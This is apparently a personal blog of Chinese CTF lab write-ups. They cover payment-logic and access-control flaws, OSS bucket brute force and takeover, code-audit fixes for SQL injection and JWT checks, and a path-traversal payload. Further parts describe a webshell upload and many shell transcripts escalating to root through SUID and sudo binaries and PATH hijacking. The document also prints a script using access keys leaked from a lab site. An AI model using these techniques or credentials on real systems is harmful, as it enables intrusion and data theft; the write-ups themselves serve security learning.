好靶场日常刷题「持续更新」

前言#

好靶场天天看别人刷了，自己也来玩玩(日常吐槽：怎么都要vip)，哎哟我，嫖了个黄🈸的会员，起飞了

SRC训练家#

越权：一个多租户的学生登录系统2#

进去可以看见是一个门户网页，美国大学可以直接登录，上去是普通用户

尝试另外两个大学登录，发现失败，发现school参数不一样，尝试登录美国大学的时候替换

发现无果，登录上去之后发现有点击学校这个东西，发现要填入school和pid，尝试替换

发现只更换school不行，两个一起替换但还是user权限，尝试修改type值，发现改成空即可

支付漏洞: 负数充值案例靶场#

就很纯粹，改成负数充值就行了

这种情况一般就是神人开发没有处理负数域的数据，进入之后成了余额+(-100), 这样的话在逻辑上可能成为了退款、提现这种行为，还有就有可能神人开发写成abs处理而且后端接口没有规范数据判断

支付：四舍五入充值靶场#

尝试了两位小数发现四舍五入没有用，扩到三位，拿到flag了

支付：负数购买案列#

购买的时候物品价格改成负数就行了

支付：商城修改金额支付漏洞#

改成低价就行了

支付：入门舍入漏洞#

改成小数

支付：请一口气买101个汉堡#

就很怪，你去买卷，然后你再退，他会退给你全部的金额，但是卷只少一个，有点像那种api就没写完的情况

登录：一个可以注册的系统#

随便输入密码发现系统密码是88888888，直接爆破出不来，尝试注册页面

注册页面爆破用户名可以拿到zhangsan，手机号不用管，然后登录上去就行了

登录：不是，你忘记密码功能是怎么做的？#

先喷洒用户名，拿到liuyang，然后忘记密码去改

忘记密码：某学校-任意用户密码重置#

这个的情况就类似手机号去重置密码，但是可以任意接管手机号一样，但是这个题也不用去改包什么的，就有点怪（

短信验证码：短信验证码暴力突破#

抓包爆破验证码

oss#

oss出了什么问题？#

给了你一个oss的存储文件下载地址，发现后面编号001可以改，fuzz一下，010是flag

oss出了什么问题2？#

存储桶上传覆盖漏洞，随便传个文件，发现错误：只允许上传文件名为 flag.txt 的文件，估计是同文件名的会匹配到，然后覆盖掉

oss存储桶爆破#

给了一个信息haobachang()x()x001.oss-cn-chengdu.aliyuncs.com，括号里面是数字但是不知道，也就是爆破这个就行了，其实学过云计算的应该知道，oss存储桶在云服务器厂商给的时候，就是name.地区(or用户名).厂商.域名，也就是目前部分name已知，爆破一下

生成全部的可能性，然后httpx探活一下

httpx -l url.txt -status-code

oss出了什么问题3？#

前端js泄露了密钥，那就可以直接连接了

1
import oss2
2

3
access_key_id = "LTAI5t74gdTkSqzHFMyPNaNQ"
4
access_key_secret = "dmPncMOYDwOv7zla1jwOBRRd5olac2"
5
endpoint = "http://oss-cn-chengdu.aliyuncs.com"
6
bucket_name = "haobachang522"
7

8
auth = oss2.Auth(access_key_id, access_key_secret)
9
bucket = oss2.Bucket(auth, endpoint, bucket_name)
10

11
for obj in oss2.ObjectIterator(bucket):
12
    print(f"发现文件: {obj.key}")
13

14
target_files = ["flag", "flag.txt", "secret.txt"]
15
for target in target_files:
16
    try:
17
        print(f"正在尝试读取: {target}")
18
        result = bucket.get_object(target)
19
        print(f"成功获取内容: {result.read().decode('utf-8')}")
20
    except oss2.exceptions.NoSuchKey:
21
        print(f"文件 {target} 不存在")
22
    except Exception as e:
23
        print(f"读取 {target} 时出错: {e}")

oss接管#

这个题目比较麻烦（，懒得写了，其实是他这个oss服务有问题

1
curl https://hbc236783.oss-cn-chengdu.aliyuncs.com/
2
<?xml version="1.0" encoding="UTF-8"?>
3
<Error>
4
  <Code>NoSuchBucket</Code>
5
  <Message>The specified bucket does not exist.</Message>
6
  <RequestId>69F56765D1F10A30385E0788</RequestId>
7
  <HostId>hbc236783.oss-cn-chengdu.aliyuncs.com</HostId>
8
  <BucketName>hbc236783</BucketName>
9
  <EC>0015-00000101</EC>
10
  <RecommendDoc>https://api.aliyun.com/troubleshoot?q=0015-00000101</RecommendDoc>
11
</Error>

回显The specified bucket does not exist.，这种情况可以被接管，原因是DNS 层解析成功，但是没有一个叫这个的oss，也就是没有这个玩意，此时，该域名就变成了一个指向 OSS 平台的“孤儿域名”。攻击者只需要在自己的阿里云账号下，创建一个同名的 Bucket（如果之前是按 Bucket 域名指向）或者重新将该自定义域名绑定到自己新创建的 Bucket 上，就可以控制该域名的内容。

去阿里云搞个一模一样名字的oss，然后在上面添加一个flag.txt，把公共访问打开，就可以平替他了

代码审计&代码修复#

SQL注入-PHP#

给的代码

1
<?php
2
function getUserById($conn, $userId) {
3
    $query = "SELECT * FROM users WHERE id = " . $userId;
4

5
    $result = mysqli_query($conn, $query);
6

7
    if (!$result) {
8
        error_log("查询用户失败: " . mysqli_error($conn));
9
        return [];
10
    }
11

12
    $users = [];
13
    while ($row = mysqli_fetch_assoc($result)) {
14
        $users[] = $row;
15
    }
16

17
    mysqli_free_result($result);
18
    return $users;
19
}
20
?>

很明显的sql注入，第一开始尝试转int不行，那就更规范一点

1
<?php
2
function getUserById($conn,$userId){
3
$stmt=mysqli_prepare($conn,"SELECT * FROM users WHERE id=?");
4
mysqli_stmt_bind_param($stmt,"i",$userId);
5
mysqli_stmt_execute($stmt);
6
$result=mysqli_stmt_get_result($stmt);
7
while($row=mysqli_fetch_assoc($result))$users[]=$row;
8
return $users??[];
9
}
10
?>

把SQL 结构和用户数据分离，现在输入1 OR 1=1进去是id = "1 OR 1=1"

SQL注入-Go#

1
func GetUserByID(db *sql.DB, userID string) ([]User, error) {
2
  query := fmt.Sprintf("SELECT * FROM users WHERE id = %s", userID)
3

4
  rows, err := db.Query(query)
5
  if err != nil {
6
    log.Printf("查询用户失败: %v", err)
7
    return nil, err
8
  }
9
  defer rows.Close()
10

11
  var users []User
12
  for rows.Next() {
13
    var user User
14
    err := rows.Scan(&user.ID, &user.Username, &user.Email)
15
    if err != nil {
16
      log.Printf("扫描数据失败: %v", err)
17
      continue
18
    }
19
    users = append(users, user)
20
  }
21

22
  return users, nil
23
}

数据库这直接拼接了，和上面处理差不多

1
query := "SELECT * FROM users WHERE id = ?"
2
rows, err := db.Query(query, userID)

但是不知道为什么过不去，好奇怪啊草

JWTFIX-Go#

1
func ValidateToken(tokenString string) (bool, *CustomClaims, error) {
2
  claims := &CustomClaims{}
3
  token, err := jwt.ParseUnverified(tokenString, claims)
4
  if err != nil {
5
    log.Printf("Token格式解析失败: %v", err)
6
    return false, nil, err
7
}

认证问题

jwt.ParseUnverified(tokenString, claims)

只解析，不验证，比如

1
{
2
  "username":"user",
3
  "role":"user"
4
}

我可以给他全换成admin，然后编码交上去，就claims.Role == "admin"了，golang里面ParseWithClaims回去校验，加上就行了

1
func ValidateToken(tokenString string) (bool, *CustomClaims, error) {
2
  claims := &CustomClaims{}
3

4
  token, err := jwt.ParseWithClaims(
5
    tokenString,
6
    claims,
7
    func(token *jwt.Token) (interface{}, error) {
8
      return []byte(secretKey), nil
9
    },
10
  )
11

12
  if err != nil || !token.Valid {
13
    return false, nil, err
14
  }
15

16
  return true, claims, nil
17
}

python的题目和这个差不多，懒得写了()

HW/红队实战#

Drupal 7.57#

先搜一下这个版本，找到cve

甚至不用提权，直接拿flag

Drupal 8.3.0&8.5.0#

复现cve

工具一把梭

CLTPHP 6.0#

存在cve2023-30267，poc好难找，找到了也没用，读不了内部文件()，但是可以知道Template.php有问题，扒下来看看

1
public function edit(){
2

3
        $filename = input(&#x27;param.file&#x27;);
4

5
        if(input(&#x27;param.type&#x27;)){
6

7
            $type = input(&#x27;param.type&#x27;);
8

9
        }else{
10

11
            $type = strtolower(substr($filename,strrpos($filename, &#x27;.&#x27;)-strlen($filename)+1));
12

13
        }
14

15
        $path = $type==$this-&gt;viewSuffix ?  $this-&gt;filepath : $this-&gt;publicpath.$type.&#x27;/&#x27;;
16

17
        $file = $path.$filename;
18

19
        if(file_exists($file)){
20

21
            $file=iconv(&#x27;gb2312&#x27;,&#x27;utf-8&#x27;,$file);
22

23
            $content = file_get_contents($file);
24

25
            $this-&gt;assign ( &#x27;filename&#x27;,$filename );
26

27
            $this-&gt;assign ( &#x27;title&#x27;,&#x27;修改模版内容&#x27; );
28

29
            $this-&gt;assign ( &#x27;file&#x27;,$file );
30

31
            $this-&gt;assign ( &#x27;content&#x27;,$content );
32

33
        }else{
34

35
            $this-&gt;error(&#x27;文件不存在！&#x27;);
36

37
        }
38

39
        return $this-&gt;fetch();
40

41
    }

从代码可以看出 file 和 type 是从用户输入获取的而且没有进行过滤，所以导致后面直接拼接路径获取不同的文件。

那么file=../../../../../../etc/passwd，但是后面会跟上type，如果不type 的值不为html的时候 path的值会变化为固定值，这样拼接出来的目录就会变成一个不存在的目录

所以?file=../../../../../../../../../tmp/flag.txt&type=html即可

DaiCuoCms#

后台在admin.php，默认账户密码登录

文章上传可以传图片马，设置那里可以把上传文件目录改了，改个顺手的就行，然后文章那上传图片

蚁剑连接上去就行了

哎，一个文件防篡改系统#

登录进去，查看文件那里可以目录穿越，直接读flag

如果想拿shell的话，往/etc/cron.d/里面文件写定时任务，去弹shell就行了

提权#

最简单的提权#

1
www-data@97e8a87ab712:/var/www/html$ ls
2
index.php
3
www-data@97e8a87ab712:/var/www/html$ sudo -l
4
sudo -l
5
Matching Defaults entries for www-data on 97e8a87ab712:
6
    env_reset, mail_badpass,
7
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
8
    use_pty
9

10
User www-data may run the following commands on 97e8a87ab712:
11
    (ALL) NOPASSWD: /bin/su
12
www-data@97e8a87ab712:/var/www/html$ sudo su
13
sudo su
14
id
15
uid=0(root) gid=0(root) groups=0(root)

命令劫持#

1
www-data@91e97c0e6ffe:/var/www/html$ sudo -l
2
sudo -l
3
Matching Defaults entries for www-data on 91e97c0e6ffe:
4
    env_reset, mail_badpass, use_pty
5

6
User www-data may run the following commands on 91e97c0e6ffe:
7
    (root) NOPASSWD: /var/start.sh
8
www-data@91e97c0e6ffe:/var/www/html$ cat /var/start.sh
9
cat /var/start.sh
10
-e #!/bin/bash
11
ls /etc
12
www-data@91e97c0e6ffe:/var/www/html$ echo "cat /root/flag.txt" > /tmp/ls
13
echo "cat /root/flag.txt" > /tmp/ls
14
www-data@91e97c0e6ffe:/var/www/html$ chmod +x /tmp/ls
15
chmod +x /tmp/ls
16
www-data@91e97c0e6ffe:/var/www/html$ sudo PATH=/tmp:$PATH /var/start.sh
17
sudo PATH=/tmp:$PATH /var/start.sh
18
/var/start.sh: 1: -e: not found
19
flag{c28ca00afdd342fc9f85cb708f08c0d6}

其实就是他执行一半的时候，我注入新的环境变量，让他去执行我的命令，比如这个题目里面他用了ls，我去伪造一个，让他执行我想要东西

于是ls /etc就变成了/tmp/ls /etc

提权碎片2#

1
newuser@1e8fae24f8b5:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/od
5
/usr/bin/umount
6
/usr/bin/gpasswd
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@1e8fae24f8b5:/$ sudo su
12
bash: sudo: command not found
13
newuser@1e8fae24f8b5:/$ od /root/flag.txt
14
0000000 066146 063541 030173 062544 034471 034462 032541 030463
15
0000020 032062 031071 061071 032144 030463 062144 034463 060463
16
0000040 063145 062067 076464 000012
17
0000047

提权碎片3#

1
newuser@206025919a19:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/su
10
/usr/bin/nohup
11
newuser@206025919a19:/$ /usr/bin/nohup cat /root/flag.txt > /tmp/1 2>&1
12
newuser@206025919a19:/$ cat /tmp/1
13
/usr/bin/nohup: ignoring input
14
flag{84fb83f1d26b440380a54ae15f307f99}

提权碎片4#

1
newuser@15e393845599:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/nl
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11

12
newuser@15e393845599:/$
13
newuser@15e393845599:/$ /usr/bin/nl /root/flag.txt
14
     1  flag{518202b987ff40db9a78244e47ef0edb}

提权碎片5#

1
newuser@94211729521e:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/nice
3
/usr/bin/chfn
4
/usr/bin/chsh
5
/usr/bin/umount
6
/usr/bin/gpasswd
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@94211729521e:/$ /usr/bin/nice /bin/sh -p
12
# id
13
uid=1000(newuser) gid=1000(newuser) euid=0(root) groups=1000(newuser)
14
# cat /root/flag.txt
15
flag{b119f81661d642a98a898c5e893f1420}

提权碎片6#

1
newuser@88df4dfa49f7:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/su
10
/usr/bin/xz
11
newuser@88df4dfa49f7:/$ /usr/bin/xz -c /root/flag.txt | xz -d
12
flag{4861b044d1944876bfc479e887261cc4}

提权碎片7#

1
newuser@4d344744fa9d:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/mv
10
/usr/bin/su
11
newuser@4d344744fa9d:/$ /usr/bin/mv /root/flag.txt .
12
newuser@4d344744fa9d:/$ ls
13
bin  boot  dev  etc  flag.txt  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
14
newuser@4d344744fa9d:/$ cat flag.txt
15
flag{ae7cb64ce651419d9b0f174dafcecf4a}

提权碎片8#

1
newuser@613343802e58:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/more
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@613343802e58:/$ /usr/bin/more /root/flag.txt
12
flag{cc4e36f86f0b4845a102026da87eb451}

提权碎片9#

1
newuser@2c515471ac25:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/su
10
/usr/bin/mawk
11
newuser@2c515471ac25:/$ /usr/bin/mawk '{print}' /root/flag.txt
12
flag{9e680891692d47b4b54dac0662ca60b5}

提权碎片10#

1
newuser@ce4fc06ff969:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/sbin/logsave
3
/usr/bin/chfn
4
/usr/bin/chsh
5
/usr/bin/umount
6
/usr/bin/gpasswd
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@ce4fc06ff969:/$ /usr/sbin/logsave /tmp/flag_copy cat /root/flag.txt
12
flag{0d119f4f25d84cb1b5af22d35d347962}

提权碎片11#

1
newuser@9e372b9aed05:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/join
5
/usr/bin/umount
6
/usr/bin/gpasswd
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@9e372b9aed05:/$ /usr/bin/join /root/flag.txt /root/flag.txt
12
flag{96283d912761484caa1c9ff9093fade8}

提权碎片12#

1
newuser@e1036b8b7c04:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/ionice
3
/usr/bin/chfn
4
/usr/bin/chsh
5
/usr/bin/umount
6
/usr/bin/gpasswd
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@e1036b8b7c04:/$ /usr/bin/ionice cat /root/flag.txt
12
flag{7507223c5ef74058a9d391efd4078026}

提权碎片13#

1
newuser@63429aed7b91:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/install
10
/usr/bin/su
11
newuser@63429aed7b91:/$ /usr/bin/install -m 777 /root/flag.txt /tmp/flag1
12
newuser@63429aed7b91:/$ cat /tmp/flag1
13
flag{52b24dc100564aaa9970466ff12a2705}

提权碎片14#

1
newuser@35f06efb438f:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/su
10
/usr/bin/iconv
11
newuser@35f06efb438f:/$ /usr/bin/iconv -f UTF-8 -t UTF-8 /root/flag.txt
12
flag{7836b462126c4017a4c7efee6272a2ed}

提权碎片15#

1
newuser@b46dcc5396b5:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/head
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@b46dcc5396b5:/$ /usr/bin/head /root/flag.txt
12
flag{64c6f925f3024414a1b69a168db59bfa}

提权碎片16#

1
newuser@a50e3d15c9c6:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/gzip
5
/usr/bin/umount
6
/usr/bin/gpasswd
7
/usr/bin/passwd
8
/usr/bin/mount
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@a50e3d15c9c6:/$ /usr/bin/gzip -c /root/flag.txt | gunzip
12
flag{a95b78ef4451479fb06e94e907aea629}

提权碎片31#

1
newuser@abaf99228905:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/newgrp
9
/usr/bin/su
10
/usr/bin/sudo
11
newuser@abaf99228905:/$ sudo -l
12
Matching Defaults entries for newuser on abaf99228905:
13
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
14

15
User newuser may run the following commands on abaf99228905:
16
    (ALL) NOPASSWD: /usr/bin/steghide
17
<0\x10\x00\x00\x00\x01\x00\x01\x00\x44\xac\x00\x00\x88\x58\x01\x00\x02\x00\x10\x00\x64\x61\x74\x61\x00\x00\x20\x00" > /tmp/noise.wav
18
newuser@abaf99228905:~$ dd if=/dev/urandom bs=1024 count=2048 >> /tmp/noise.wav
19
2048+0 records in
20
2048+0 records out
21
2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.015681 s, 134 MB/s
22
newuser@abaf99228905:~$ sudo /usr/bin/steghide embed -ef /root/flag.txt -cf /tmp/noise.wav -p 123456 -sf /tmp/pwned.wav
23
embedding "/root/flag.txt" in "/tmp/noise.wav"... done
24
writing stego file "/tmp/pwned.wav"... done
25
newuser@abaf99228905:~$ steghide extract -sf /tmp/pwned.wav -p 123456 -f
26
wrote extracted data to "flag.txt".
27
newuser@abaf99228905:~$ cat flag.txt
28
flag{298e124348ff4a5c82085d9858e4d8f7}

提权碎片30#

1
newuser@f415d5f1fceb:/$ sudo -l
2
bash: sudo: command not found
3
newuser@f415d5f1fceb:/$ find / -perm -u=s -type f 2>/dev/null
4
/usr/sbin/arp
5
/usr/bin/chfn
6
/usr/bin/chsh
7
/usr/bin/umount
8
/usr/bin/gpasswd
9
/usr/bin/passwd
10
/usr/bin/mount
11
/usr/bin/newgrp
12
/usr/bin/su
13
newuser@f415d5f1fceb:/$ /usr/sbin/arp -v -f /root/flag.txt
14
>> flag{caa45f93d1aa415aa5025ccc47b88f74}

其他的感觉没什么意思了，先不打

php提权？#

1
www-data@9134946d760e:/var/www/html$ sudo -l
2
sudo -l
3
Matching Defaults entries for www-data on 9134946d760e:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
6
    use_pty
7

8
User www-data may run the following commands on 9134946d760e:
9
    (root) NOPASSWD: /usr/local/bin/php
10
www-data@9134946d760e:/var/www/html$ sudo /usr/local/bin/php -r "readfile('/root/flag.txt');"
11
</usr/local/bin/php -r "readfile('/root/flag.txt');"
12
flag{ef8965431f4a4e61a5e9325b1521707d}

一个不存在的文件居然也可以提权#

1
www-data@988655860e59:/var/www/html$ sudo -l
2
sudo -l
3
Matching Defaults entries for www-data on 988655860e59:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
6
    use_pty
7

8
User www-data may run the following commands on 988655860e59:
9
    (root) NOPASSWD: /var/www/html/haobachang.html
10
www-data@988655860e59:/var/www/html$ echo '#!/bin/bash' > /var/www/html/haobachang.html
11
< echo '#!/bin/bash' > /var/www/html/haobachang.html
12
www-data@988655860e59:/var/www/html$ echo '/bin/bash -p' >> /var/www/html/haobachang.html
13
<cho '/bin/bash -p' >> /var/www/html/haobachang.html
14
www-data@988655860e59:/var/www/html$ chmod +x /var/www/html/haobachang.html
15
chmod +x /var/www/html/haobachang.html
16
www-data@988655860e59:/var/www/html$ sudo /var/www/html/haobachang.html
17
sudo /var/www/html/haobachang.html
18
id
19
uid=0(root) gid=0(root) groups=0(root)
20
cat /root/flag.txt
21
flag{4cabd14ecbfe475b8d902f16c0979d89}

cp提权？#

1
newuser@d29cf322abd7:/$ find / -perm -u=s -type f 2>/dev/null
2
/usr/bin/chfn
3
/usr/bin/chsh
4
/usr/bin/umount
5
/usr/bin/gpasswd
6
/usr/bin/passwd
7
/usr/bin/mount
8
/usr/bin/cp
9
/usr/bin/newgrp
10
/usr/bin/su
11
newuser@d29cf322abd7:/$ /usr/bin/cp /root/flag.txt /tmp/flag1
12
newuser@d29cf322abd7:/$ cat /tmp/flag1
13
flag{f5103e1e7c8e4e588db43acdda411c8e}

目录

a ctfer on the load

前言#